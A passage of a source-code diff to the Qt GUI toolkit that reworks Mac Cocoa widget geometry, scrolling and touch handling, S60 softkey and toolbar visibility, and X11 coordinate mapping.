- // we are too big, and must clip
+ if (!validRange.contains(wrectInParentCoordSys)) {
+ // We're too big, and must clip:
QPoint screenOffset(0, 0); // offset of the part being on screen
const QWidget *parentWidget = q->parentWidget();
while (parentWidget && !parentWidget->isWindow()) {
@@ -4239,15 +4294,15 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
2*WRECT_MAX,
2*WRECT_MAX);
- xrect &=cropRect;
- wrect = xrect;
- wrect.translate(-data.crect.topLeft()); // translate wrect in my Qt coordinates
+ wrectInParentCoordSys &=cropRect;
+ wrect = wrectInParentCoordSys;
+ wrect.translate(-data.crect.topLeft());
}
#endif //QT_MAC_USE_COCOA
}
// unmap if we are outside the valid window system coord system
- bool outsideRange = !xrect.isValid();
+ bool outsideRange = !wrectInParentCoordSys.isValid();
bool mapWindow = false;
if (q->testAttribute(Qt::WA_OutsideWSRange) != outsideRange) {
q->setAttribute(Qt::WA_OutsideWSRange, outsideRange);
@@ -4255,7 +4310,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
#ifndef QT_MAC_USE_COCOA
HIViewSetVisible(qt_mac_nativeview_for(q), false);
#else
- [qt_mac_nativeview_for(q) setHidden:YES];
+ // If q is Alien, the following call does nothing:
+ [nsview setHidden:YES];
#endif
q->setAttribute(Qt::WA_Mapped, false);
} else if (!q->isHidden()) {
@@ -4266,10 +4322,10 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
if (outsideRange)
return;
+ // Store the new clipped rect:
bool jump = (data.wrect != wrect);
data.wrect = wrect;
-
// and now recursively for all children...
// ### can be optimized
for (int i = 0; i < children.size(); ++i) {
@@ -4281,17 +4337,56 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
}
}
- qt_mac_update_widget_position(q, oldRect, xrect);
-
- if (jump)
+#ifndef QT_MAC_USE_COCOA
+ // Move the actual HIView:
+ qt_mac_update_widget_position(q, oldRect, wrectInParentCoordSys);
+ if (jump)
q->update();
+#else
+ if (nsview) {
+ // INVARIANT: q is native. Move the actual NSView:
+ NSRect bounds = NSMakeRect(
+ wrectInParentCoordSys.x(), wrectInParentCoordSys.y(),
+ wrectInParentCoordSys.width(), wrectInParentCoordSys.height());
+ [nsview setFrame:bounds];
+ if (jump)
+ q->update();
+ } else if (QApplicationPrivate::graphicsSystem() == 0){
+ // INVARIANT: q is alien and we use native paint engine.
+ // Schedule updates where q is moved from and to:
+ const QWidget *parent = q->parentWidget();
+ const QPoint globalPosOldWRect = parent->mapToGlobal(oldRect.topLeft());
+ const QPoint globalPosNewWRect = parent->mapToGlobal(wrectInParentCoordSys.topLeft());
+
+ QWidget *nativeParent = q->nativeParentWidget();
+ const QRegion dirtyOldWRect = QRect(nativeParent->mapFromGlobal(globalPosOldWRect), oldRect.size());
+ const QRegion dirtyNewWRect = QRect(nativeParent->mapFromGlobal(globalPosNewWRect), wrectInParentCoordSys.size());
+
+ const bool sizeUnchanged = oldRect.size() == wrectInParentCoordSys.size();
+ const bool posUnchanged = oldRect.topLeft() == wrectInParentCoordSys.topLeft();
+
+ // Resolve/minimize the region that needs to update:
+ if (sizeUnchanged && q->testAttribute(Qt::WA_OpaquePaintEvent)) {
+ // INVARIANT: q is opaque, and is only moved (not resized). So in theory we only
+ // need to blit pixels, and skip a repaint. But we can only make this work if we
+ // had access to the backbuffer, so we need to update all:
+ nativeParent->update(dirtyOldWRect | dirtyNewWRect);
+ } else if (posUnchanged && q->testAttribute(Qt::WA_StaticContents)) {
+ // We only need to redraw exposed areas:
+ nativeParent->update(dirtyNewWRect - dirtyOldWRect);
+ } else {
+ nativeParent->update(dirtyOldWRect | dirtyNewWRect);
+ }
+ }
+#endif
if (mapWindow && !dontShow) {
q->setAttribute(Qt::WA_Mapped);
#ifndef QT_MAC_USE_COCOA
HIViewSetVisible(qt_mac_nativeview_for(q), true);
#else
- [qt_mac_nativeview_for(q) setHidden:NO];
+ // If q is Alien, the following call does nothing:
+ [nsview setHidden:NO];
#endif
}
}
@@ -4353,7 +4448,6 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove)
QMacCocoaAutoReleasePool pool;
bool realWindow = isRealWindow();
- BOOL needDisplay = realWindow ? YES : NO;
if (realWindow && !q->testAttribute(Qt::WA_DontShowOnScreen)){
adjustWithinMaxAndMinSize(w, h);
@@ -4401,7 +4495,7 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove)
if (currTopLeft.x() == x && currTopLeft.y() == y
&& cocoaFrameRect.size.width != 0
&& cocoaFrameRect.size.height != 0) {
- [window setFrame:cocoaFrameRect display:needDisplay];
+ [window setFrame:cocoaFrameRect display:realWindow];
} else {
// The window is moved and resized (or resized to zero).
// Since Cocoa usually only sends us a resize callback after
@@ -4410,7 +4504,7 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove)
// would have the same origin as the setFrame call) we shift the
// window back and forth inbetween.
cocoaFrameRect.origin.y += 1;
- [window setFrame:cocoaFrameRect display:needDisplay];
+ [window setFrame:cocoaFrameRect display:realWindow];
cocoaFrameRect.origin.y -= 1;
[window setFrameOrigin:cocoaFrameRect.origin];
}
@@ -4418,6 +4512,8 @@ void QWidgetPrivate::setGeometry_sys(int x, int y, int w, int h, bool isMove)
} else {
setGeometry_sys_helper(x, y, w, h, isMove);
}
+
+ topLevelAt_cache = 0;
}
void QWidgetPrivate::setGeometry_sys_helper(int x, int y, int w, int h, bool isMove)
@@ -4468,17 +4564,11 @@ void QWidgetPrivate::setGeometry_sys_helper(int x, int y, int w, int h, bool isM
const QRect oldRect(oldp, olds);
if (!isResize && QApplicationPrivate::graphicsSystem())
moveRect(oldRect, x - oldp.x(), y - oldp.y());
+
setWSGeometry(false, oldRect);
- if (isResize && QApplicationPrivate::graphicsSystem()) {
- invalidateBuffer(q->rect());
- if (extra && !graphicsEffect && !extra->mask.isEmpty()) {
- QRegion oldRegion(extra->mask.translated(oldp));
- oldRegion &= oldRect;
- q->parentWidget()->d_func()->invalidateBuffer(oldRegion);
- } else {
- q->parentWidget()->d_func()->invalidateBuffer(effectiveRectFor(oldRect));
- }
- }
+
+ if (isResize && QApplicationPrivate::graphicsSystem())
+ invalidateBuffer_resizeHelper(oldp, olds);
}
if(isMove || isResize) {
@@ -4558,6 +4648,7 @@ void QWidgetPrivate::updateMaximizeButton_sys()
void QWidgetPrivate::scroll_sys(int dx, int dy)
{
if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) {
+ // INVARIANT: Alien paint engine
scrollChildren(dx, dy);
scrollRect(q_func()->rect(), dx, dy);
} else {
@@ -4565,37 +4656,81 @@ void QWidgetPrivate::scroll_sys(int dx, int dy)
}
}
-void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &r)
+void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
{
- Q_Q(QWidget);
+ if (QMacScrollOptimization::delayScroll(this, dx, dy, qscrollRect))
+ return;
+ Q_Q(QWidget);
if (QApplicationPrivate::graphicsSystem() && !paintOnScreen()) {
- scrollRect(r, dx, dy);
+ // INVARIANT: Alien paint engine
+ scrollRect(qscrollRect, dx, dy);
return;
}
- const bool valid_rect = r.isValid();
- if (!q->updatesEnabled() && (valid_rect || q->children().isEmpty()))
- return;
+ static int accelEnv = -1;
+ if (accelEnv == -1) {
+ accelEnv = qgetenv("QT_NO_FAST_SCROLL").toInt() == 0;
+ }
- qt_event_request_window_change(q);
+ // Scroll the whole widget if qscrollRect is not valid:
+ QRect validScrollRect = qscrollRect.isValid() ? qscrollRect : q->rect();
+ validScrollRect &= clipRect();
+
+ // If q is overlapped by other widgets, we cannot just blit pixels since
+ // this will move overlapping widgets as well. In case we just update:
+ const bool overlapped = isOverlapped(validScrollRect.translated(data.crect.topLeft()));
+ const bool accelerateScroll = accelEnv && isOpaque && !overlapped;
+ const bool isAlien = (q->internalWinId() == 0);
+ const QPoint scrollDelta(dx, dy);
+
+ // If qscrollRect is valid, we are _not_ supposed to scroll q's children (as documented).
+ // But we do scroll children (and the whole of q) if qscrollRect is invalid. This case is
+ // documented as undefined, but we exploit it to help factor our code into one function.
+ const bool scrollChildren = !qscrollRect.isValid();
+
+ if (!q->updatesEnabled()) {
+ // We are told not to update anything on q at this point. So unless
+ // we are supposed to scroll children, we bail out early:
+ if (!scrollChildren || q->children().isEmpty())
+ return;
+ }
+
+ if (!accelerateScroll) {
+ if (overlapped) {
+ QRegion region(validScrollRect);
+ subtractOpaqueSiblings(region);
+ update_sys(region);
+ }else {
+ update_sys(qscrollRect);
+ }
+ return;
+ }
#ifdef QT_MAC_USE_COCOA
QMacCocoaAutoReleasePool pool;
+#else
+ Q_UNUSED(isAlien);
+ // We're not sure what the following call is supposed to achive
+ // but until we see what it breaks, we don't bring it into the
+ // Cocoa port:
+ qt_event_request_window_change(q);
#endif
- if(!valid_rect) { // scroll children
- QPoint pd(dx, dy);
- QWidgetList moved;
- QObjectList chldrn = q->children();
- for(int i = 0; i < chldrn.size(); i++) { //first move all children
- QObject *obj = chldrn.at(i);
- if(obj->isWidgetType()) {
- QWidget *w = (QWidget*)obj;
- if(!w->isWindow()) {
- w->data->crect = QRect(w->pos() + pd, w->size());
- if (w->testAttribute(Qt::WA_WState_Created)) {
+ // First move all native children. Alien children will indirectly be
+ // moved when the parent is scrolled. All directly or indirectly moved
+ // children will receive a move event before the function call returns.
+ QWidgetList movedChildren;
+ if (scrollChildren) {
+ QObjectList children = q->children();
+
+ for (int i=0; i<children.size(); i++) {
+ QObject *obj = children.at(i);
+ if (QWidget *w = qobject_cast<QWidget*>(obj)) {
+ if (!w->isWindow()) {
+ w->data->crect = QRect(w->pos() + scrollDelta, w->size());
#ifndef QT_MAC_USE_COCOA
+ if (w->testAttribute(Qt::WA_WState_Created)) {
HIRect bounds = CGRectMake(w->data->crect.x(), w->data->crect.y(),
w->data->crect.width(), w->data->crect.height());
HIViewRef hiview = qt_mac_nativeview_for(w);
@@ -4606,83 +4741,118 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &r)
HIViewSetFrame(hiview, &bounds);
if (opaque)
HIViewSetDrawingEnabled(hiview, true);
+ }
#else
- [qt_mac_nativeview_for(w)
- setFrame:NSMakeRect(w->data->crect.x(), w->data->crect.y(),
- w->data->crect.width(), w->data->crect.height())];
-#endif
+ if (NSView *view = qt_mac_nativeview_for(w)) {
+ // INVARIANT: w is not alien
+ [view setFrame:NSMakeRect(
+ w->data->crect.x(), w->data->crect.y(),
+ w->data->crect.width(), w->data->crect.height())];
}
- moved.append(w);
+#endif
+ movedChildren.append(w);
}
}
}
- //now send move events (do not do this in the above loop, breaks QAquaFocusWidget)
- for(int i = 0; i < moved.size(); i++) {
- QWidget *w = moved.at(i);
- QMoveEvent e(w->pos(), w->pos() - pd);
- QApplication::sendEvent(w, &e);
- }
}
- if (!q->testAttribute(Qt::WA_WState_Created) || !q->isVisible())
- return;
+ if (q->testAttribute(Qt::WA_WState_Created) && q->isVisible()) {
+ // Scroll q itself according to the qscrollRect, and
+ // call update on any exposed areas so that they get redrawn:
- OSViewRef view = qt_mac_nativeview_for(q);
#ifndef QT_MAC_USE_COCOA
- HIRect scrollrect = CGRectMake(r.x(), r.y(), r.width(), r.height());
- OSStatus err = _HIViewScrollRectWithOptions(view, valid_rect ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid);
- if (err) {
- // The only parameter that can go wrong, is the rect.
- qWarning("QWidget::scroll: Your rectangle was too big for the widget, clipping rect");
- scrollrect = CGRectMake(qMax(r.x(), 0), qMax(r.y(), 0),
- qMin(r.width(), q->width()), qMin(r.height(), q->height()));
- _HIViewScrollRectWithOptions(view, valid_rect ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid);
- }
+ OSViewRef view = qt_mac_nativeview_for(q);
+ HIRect scrollrect = CGRectMake(qscrollRect.x(), qscrollRect.y(), qscrollRect.width(), qscrollRect.height());
+ OSStatus err = _HIViewScrollRectWithOptions(view, qscrollRect.isValid() ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid);
+ if (err) {
+ // The only parameter that can go wrong, is the rect.
+ qWarning("QWidget::scroll: Your rectangle was too big for the widget, clipping rect");
+ scrollrect = CGRectMake(qMax(qscrollRect.x(), 0), qMax(qscrollRect.y(), 0),
+ qMin(qscrollRect.width(), q->width()), qMin(qscrollRect.height(), q->height()));
+ _HIViewScrollRectWithOptions(view, qscrollRect.isValid() ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid);
+ }
#else
- NSRect scrollRect = valid_rect ? NSMakeRect(r.x(), r.y(), r.width(), r.height())
- : NSMakeRect(0, 0, q->width(), q->height());
+ QWidget *nativeWidget = isAlien ? q->nativeParentWidget() : q;
+ if (!nativeWidget)
+ return;
+ OSViewRef view = qt_mac_nativeview_for(nativeWidget);
+ if (!view)
+ return;
- // calc the updateRect
- NSRect deltaXRect = { {0, 0}, {0, 0} };
- NSRect deltaYRect = { {0, 0}, {0, 0} };
- if (dy != 0) {
- deltaYRect.size.width = scrollRect.size.width;
- if (dy > 0) {
- deltaYRect.size.height = dy;
- } else {
- deltaYRect.size.height = -dy;
- deltaYRect.origin.y = scrollRect.size.height + dy;
+ // Calculate the rectangles that needs to be redrawn
+ // after the scroll. This will be source rect minus destination rect:
+ QRect deltaXRect;
+ if (dx != 0) {
+ deltaXRect.setY(validScrollRect.y());
+ deltaXRect.setHeight(validScrollRect.height());
+ if (dx > 0) {
+ deltaXRect.setX(validScrollRect.x());
+ deltaXRect.setWidth(dx);
+ } else {
+ deltaXRect.setX(validScrollRect.x() + validScrollRect.width() + dx);
+ deltaXRect.setWidth(-dx);
+ }
}
- }
- if (dx != 0) {
- deltaXRect.size.height = scrollRect.size.height;
- if (dx > 0) {
- deltaXRect.size.width = dx;
- } else {
- deltaXRect.size.width = -dx;
- deltaXRect.origin.x = scrollRect.size.width + dx;
+
+ QRect deltaYRect;
+ if (dy != 0) {
+ deltaYRect.setX(validScrollRect.x());
+ deltaYRect.setWidth(validScrollRect.width());
+ if (dy > 0) {
+ deltaYRect.setY(validScrollRect.y());
+ deltaYRect.setHeight(dy);
+ } else {
+ deltaYRect.setY(validScrollRect.y() + validScrollRect.height() + dy);
+ deltaYRect.setHeight(-dy);
+ }
}
- }
- // ### Scroll the dirty regions as well, the following is not correct.
- QRegion displayRegion = r.isNull() ? dirtyOnWidget : (dirtyOnWidget & r);
- const QVector<QRect> &rects = dirtyOnWidget.rects();
- const QVector<QRect>::const_iterator end = rects.end();
- QVector<QRect>::const_iterator it = rects.begin();
- while (it != end) {
- const QRect rect = *it;
- const NSRect dirtyRect = NSMakeRect(rect.x() + dx, rect.y() + dy,
- rect.width(), rect.height());
- [view setNeedsDisplayInRect:dirtyRect];
- ++it;
- }
+ if (isAlien) {
+ // Adjust the scroll rect to the location as seen from the native parent:
+ QPoint scrollTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.topLeft()));
+ validScrollRect.moveTo(scrollTopLeftInsideNative);
+ }
+
+ // Make the pixel copy rect within the validScrollRect bounds:
+ NSRect nsscrollRect = NSMakeRect(
+ validScrollRect.x() + (dx < 0 ? -dx : 0),
+ validScrollRect.y() + (dy < 0 ? -dy : 0),
+ validScrollRect.width() + (dx > 0 ? -dx : 0),
+ validScrollRect.height() + (dy > 0 ? -dy : 0));
+
+ NSSize deltaSize = NSMakeSize(dx, dy);
+ [view scrollRect:nsscrollRect by:deltaSize];
+
+ // Some areas inside the scroll rect might have been marked as dirty from before, which
+ // means that they are scheduled to be redrawn. But as we now scroll, those dirty rects
+ // should also move along to ensure that q receives repaints on the correct places.
+ // Since some of the dirty rects might lay outside, or only intersect with, the scroll
+ // rect, the old calls to setNeedsDisplay still makes sense.
+ // NB: Using [view translateRectsNeedingDisplayInRect:nsscrollRect by:deltaSize] have
+ // so far not been proven fruitful to solve this problem.
+ const QVector<QRect> &dirtyRectsToScroll = dirtyOnWidget.rects();
+ for (int i=0; i<dirtyRectsToScroll.size(); ++i) {
+ QRect qdirtyRect = dirtyRectsToScroll[i];
+ qdirtyRect.translate(dx, dy);
+ update_sys(qdirtyRect);
+ }
+
+ // Update newly exposed areas. This will generate new dirty areas on
+ // q, and therefore, we do it after updating the old dirty rects above:
+ if (dx != 0)
+ update_sys(deltaXRect);
+ if (dy != 0)
+ update_sys(deltaYRect);
- NSSize deltaSize = NSMakeSize(dx, dy);
- [view scrollRect:scrollRect by:deltaSize];
- [view setNeedsDisplayInRect:deltaXRect];
- [view setNeedsDisplayInRect:deltaYRect];
#endif // QT_MAC_USE_COCOA
+ }
+
+ for (int i=0; i<movedChildren.size(); i++) {
+ QWidget *w = movedChildren.at(i);
+ QMoveEvent e(w->pos(), w->pos() - scrollDelta);
+ QApplication::sendEvent(w, &e);
+ }
}
int QWidget::metric(PaintDeviceMetric m) const
@@ -4693,16 +4863,19 @@ int QWidget::metric(PaintDeviceMetric m) const
case PdmWidthMM:
return qRound(metric(PdmWidth) * 25.4 / qreal(metric(PdmDpiX)));
case PdmHeight:
- case PdmWidth: {
+ case PdmWidth:
#ifndef QT_MAC_USE_COCOA
- HIRect rect;
+ { HIRect rect;
HIViewGetFrame(qt_mac_nativeview_for(this), &rect);
-#else
- NSRect rect = [qt_mac_nativeview_for(this) frame];
-#endif
if(m == PdmWidth)
return (int)rect.size.width;
return (int)rect.size.height; }
+#else
+ if (m == PdmWidth)
+ return data->crect.width();
+ else
+ return data->crect.height();
+#endif
case PdmDepth:
return 32;
case PdmNumColors:
@@ -4817,19 +4990,35 @@ void QWidgetPrivate::registerDropSite(bool on)
#endif
}
-void QWidgetPrivate::registerTouchWindow()
+void QWidgetPrivate::registerTouchWindow(bool enable)
{
+ Q_UNUSED(enable);
+#ifdef QT_MAC_USE_COCOA
#if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6
if (QSysInfo::MacintoshVersion < QSysInfo::MV_10_6)
return;
+
Q_Q(QWidget);
- if (!q->testAttribute(Qt::WA_WState_Created))
+ if (enable == touchEventsEnabled)
return;
-#ifndef QT_MAC_USE_COCOA
- // Needs implementation!
-#else
- NSView *view = qt_mac_nativeview_for(q);
- [view setAcceptsTouchEvents:YES];
+
+ QCocoaView *view = static_cast<QCocoaView *>(qt_mac_effectiveview_for(q));
+ if (!view)
+ return;
+
+ if (enable) {
+ ++view->alienTouchCount;
+ if (view->alienTouchCount == 1) {
+ touchEventsEnabled = true;
+ [view setAcceptsTouchEvents:YES];
+ }
+ } else {
+ --view->alienTouchCount;
+ if (view->alienTouchCount == 0) {
+ touchEventsEnabled = false;
+ [view setAcceptsTouchEvents:NO];
+ }
+ }
#endif
#endif
}
@@ -4837,13 +5026,17 @@ void QWidgetPrivate::registerTouchWindow()
void QWidgetPrivate::setMask_sys(const QRegion &region)
{
Q_UNUSED(region);
-#ifndef QT_MAC_USE_COCOA
Q_Q(QWidget);
+
+#ifndef QT_MAC_USE_COCOA
if (q->isWindow())
ReshapeCustomWindow(qt_mac_window_for(q));
else
HIViewReshapeStructure(qt_mac_nativeview_for(q));
#else
+ if (!q->internalWinId())
+ return;
+
if (extra->mask.isEmpty()) {
extra->maskBits = QImage();
finishCocoaMaskSetup();
@@ -4851,6 +5044,7 @@ void QWidgetPrivate::setMask_sys(const QRegion &region)
syncCocoaMask();
}
+ topLevelAt_cache = 0;
#endif
}
@@ -4928,7 +5122,7 @@ void QWidgetPrivate::finishCocoaMaskSetup()
[window setOpaque:(extra->imageMask == 0)];
[window invalidateShadow];
}
- qt_mac_set_needs_display(q, QRegion());
+ macSetNeedsDisplay(QRegion());
}
#endif
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 2e82aa6..1083a1f 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -361,7 +361,8 @@ public:
DrawInvisible = 0x08,
DontSubtractOpaqueChildren = 0x10,
DontSetCompositionMode = 0x20,
- DontDrawOpaqueChildren = 0x40
+ DontDrawOpaqueChildren = 0x40,
+ DontDrawNativeChildren = 0x80
};
enum CloseMode {
@@ -567,6 +568,7 @@ public:
// sub-classes that their internals are about to be released.
virtual void aboutToDestroy() {}
+ QInputContext *assignedInputContext() const;
QInputContext *inputContext() const;
inline QWidget *effectiveFocusWidget() {
QWidget *w = q_func();
@@ -775,6 +777,8 @@ public:
void x11UpdateIsOpaque();
bool isBackgroundInherited() const;
void updateX11AcceptFocus();
+ QPoint mapToGlobal(const QPoint &pos) const;
+ QPoint mapFromGlobal(const QPoint &pos) const;
#elif defined(Q_WS_WIN) // <--------------------------------------------------------- WIN
uint noPaintOnScreen : 1; // see qwidget_win.cpp ::paintEngine()
#ifndef QT_NO_GESTURES
@@ -793,7 +797,6 @@ public:
#elif defined(Q_WS_MAC) // <--------------------------------------------------------- MAC
// This is new stuff
uint needWindowChange : 1;
- uint hasAlienChildren : 1;
// Each wiget keeps a list of all its child and grandchild OpenGL widgets.
// This list is used to update the gl context whenever a parent and a granparent
@@ -824,6 +827,7 @@ public:
void macUpdateIgnoreMouseEvents();
void macUpdateMetalAttribute();
void macUpdateIsOpaque();
+ void macSetNeedsDisplay(QRegion region);
void setEnabled_helper_sys(bool enable);
bool isRealWindow() const;
void adjustWithinMaxAndMinSize(int &w, int &h);
@@ -859,6 +863,7 @@ public:
bool isInUnifiedToolbar;
QWindowSurface *unifiedSurface;
QPoint toolbar_offset;
+ bool touchEventsEnabled;
#endif
void determineWindowClass();
void transferChildren();
@@ -871,7 +876,7 @@ public:
static OSStatus qt_window_event(EventHandlerCallRef er, EventRef event, void *);
static OSStatus qt_widget_event(EventHandlerCallRef er, EventRef event, void *);
static bool qt_widget_rgn(QWidget *, short, RgnHandle, bool);
- void registerTouchWindow();
+ void registerTouchWindow(bool enable = true);
#elif defined(Q_WS_QWS) // <--------------------------------------------------------- QWS
void setMaxWindowState_helper();
void setFullScreenSize_helper();
diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp
index cb72800..85164d2 100644
--- a/src/gui/kernel/qwidget_s60.cpp
+++ b/src/gui/kernel/qwidget_s60.cpp
@@ -63,6 +63,19 @@
// CCoeControl objects until after the CONE event handler has finished running.
Q_DECLARE_METATYPE(WId)
+// Workaround for the fact that S60 SDKs 3.x do not contain the akntoolbar.h
+// header, even though the documentation says that it should be there, and indeed
+// it is present in the library.
+class CAknToolbar : public CAknControl,
+ public MCoeControlObserver,
+ public MCoeControlBackground,
+ public MEikCommandObserver,
+ public MAknFadedComponent
+{
+public:
+ IMPORT_C void SetToolbarVisibility(const TBool visible);
+};
+
QT_BEGIN_NAMESPACE
extern bool qt_nograb();
@@ -488,6 +501,7 @@ void QWidgetPrivate::show_sys()
QSymbianControl *id = static_cast<QSymbianControl *>(q->internalWinId());
const bool isFullscreen = q->windowState() & Qt::WindowFullScreen;
+ const TBool cbaRequested = q->windowFlags() & Qt::WindowSoftkeysVisibleHint;
#ifdef Q_WS_S60
// Lazily initialize the S60 screen furniture when the first window is shown.
@@ -507,11 +521,25 @@ void QWidgetPrivate::show_sys()
CEikButtonGroupContainer *cba = CEikButtonGroupContainer::NewL(CEikButtonGroupContainer::ECba,
CEikButtonGroupContainer::EHorizontal,ui,R_AVKON_SOFTKEYS_EMPTY_WITH_IDS);
+ if (isFullscreen && !cbaRequested)
+ cba->MakeVisible(false);
CEikButtonGroupContainer *oldCba = factory->SwapButtonGroup(cba);
Q_ASSERT(!oldCba);
S60->setButtonGroupContainer(cba);
+ // If the creation of the first widget is delayed, for example by doing it
+ // inside the event loop, S60 somehow "forgets" to set the visibility of the
+ // toolbar (the three middle softkeys) when you flip the phone over, so we
+ // need to do it ourselves to avoid a "hole" in the application, even though
+ // Qt itself does not use the toolbar directly..
+ CAknAppUi *appui = dynamic_cast<CAknAppUi *>(CEikonEnv::Static()->AppUi());
+ if (appui) {
+ CAknToolbar *toolbar = appui->PopupToolbar();
+ if (toolbar && !toolbar->IsVisible())
+ toolbar->SetToolbarVisibility(ETrue);
+ }
+
CEikMenuBar *menuBar = new(ELeave) CEikMenuBar;
menuBar->ConstructL(ui, 0, R_AVKON_MENUPANE_EMPTY);
menuBar->SetMenuType(CEikMenuBar::EMenuOptions);
@@ -1160,14 +1188,17 @@ void QWidget::setWindowState(Qt::WindowStates newstate)
}
#ifdef Q_WS_S60
- // Hide window decoration when switching to fullsccreen / minimized otherwise show decoration.
- // The window decoration visibility has to be changed before doing actual window state
- // change since in that order the availableGeometry will return directly the right size and
- // we will avoid unnecessarty redraws
- const bool visible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized));
- const bool statusPaneVisibility = visible;
- const bool buttonGroupVisibility = (visible || (isFullscreen && cbaRequested));
- S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+ bool decorationsVisible(false);
+ if (!parentWidget()) { // Only top level native windows have control over cba/status pane
+ // Hide window decoration when switching to fullscreen / minimized otherwise show decoration.
+ // The window decoration visibility has to be changed before doing actual window state
+ // change since in that order the availableGeometry will return directly the right size and
+ // we will avoid unnecessary redraws
+ decorationsVisible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized));
+ const bool statusPaneVisibility = decorationsVisible;
+ const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaRequested));
+ S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility);
+ }
#endif // Q_WS_S60
// Ensure the initial size is valid, since we store it as normalGeometry below.
@@ -1191,7 +1222,7 @@ void QWidget::setWindowState(Qt::WindowStates newstate)
// accurate because it did not consider the status pane. This means that when returning
// normal mode after showing the status pane, the geometry would overlap so we should
// move it if it never had an explicit position.
- if (!wasMoved && S60->statusPane() && visible) {
+ if (!wasMoved && S60->statusPane() && decorationsVisible) {
TPoint tl = static_cast<CEikAppUi*>(S60->appUi())->ClientRect().iTl;
normalGeometry.setTopLeft(QPoint(tl.iX, tl.iY));
}
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index cf23981..b378b78 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -444,6 +444,7 @@ static QVector<Atom> getNetWmState(QWidget *w)
&& actualType == XA_ATOM && actualFormat == 32) {
returnValue.resize(bytesLeft / 4);
XFree((char*) propertyData);
+ propertyData = 0;
// fetch all data
if (XGetWindowProperty(X11->display, w->internalWinId(), ATOM(_NET_WM_STATE), 0,
@@ -458,7 +459,8 @@ static QVector<Atom> getNetWmState(QWidget *w)
if (!returnValue.isEmpty()) {
memcpy(returnValue.data(), propertyData, returnValue.size() * sizeof(Atom));
}
- XFree((char*) propertyData);
+ if (propertyData)
+ XFree((char*) propertyData);
}
return returnValue;
@@ -1289,39 +1291,49 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f)
#endif
}
-
-QPoint QWidget::mapToGlobal(const QPoint &pos) const
+QPoint QWidgetPrivate::mapToGlobal(const QPoint &pos) const
{
- Q_D(const QWidget);
- if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
- QPoint p = pos + data->crect.topLeft();
+ Q_Q(const QWidget);
+ if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
+ QPoint p = pos + q->data->crect.topLeft();
//cannot trust that !isWindow() implies parentWidget() before create
- return (isWindow() || !parentWidget()) ? p : parentWidget()->mapToGlobal(p);
+ return (q->isWindow() || !q->parentWidget()) ? p : q->parentWidget()->d_func()->mapToGlobal(p);
}
- int x, y;
+ int x, y;
Window child;
- QPoint p = d->mapToWS(pos);
- XTranslateCoordinates(X11->display, internalWinId(),
- QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
+ QPoint p = mapToWS(pos);
+ XTranslateCoordinates(X11->display, q->internalWinId(),
+ QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
p.x(), p.y(), &x, &y, &child);
return QPoint(x, y);
}
-
-QPoint QWidget::mapFromGlobal(const QPoint &pos) const
+QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
{
- Q_D(const QWidget);
- if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
+ Q_Q(const QWidget);
+ if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
//cannot trust that !isWindow() implies parentWidget() before create
- QPoint p = (isWindow() || !parentWidget()) ? pos : parentWidget()->mapFromGlobal(pos);
- return p - data->crect.topLeft();
+ QPoint p = (q->isWindow() || !q->parentWidget()) ? pos : q->parentWidget()->d_func()->mapFromGlobal(pos);
+ return p - q->data->crect.topLeft();
}
- int x, y;
+ int x, y;
Window child;
XTranslateCoordinates(X11->display,
- QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
- internalWinId(), pos.x(), pos.y(), &x, &y, &child);
- return d->mapFromWS(QPoint(x, y));
+ QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
+ q->internalWinId(), pos.x(), pos.y(), &x, &y, &child);
+ return mapFromWS(QPoint(x, y));
+}
+
+QPoint QWidget::mapToGlobal(const QPoint &pos) const
+{
+ Q_D(const QWidget);
+ return d->mapToGlobal(pos);
+}
+
+QPoint QWidget::mapFromGlobal(const QPoint &pos) const
+{
+ Q_D(const QWidget);
+ return d->mapFromGlobal(pos);
}
void QWidgetPrivate::updateSystemBackground()
diff --git a/src/gui/kernel/qx11embed_x11.cpp b/src/gui/kernel/qx11embed_x11.cpp
index 47cefe4..49a8194 100644
--- a/src/gui/kernel/qx11embed_x11.cpp
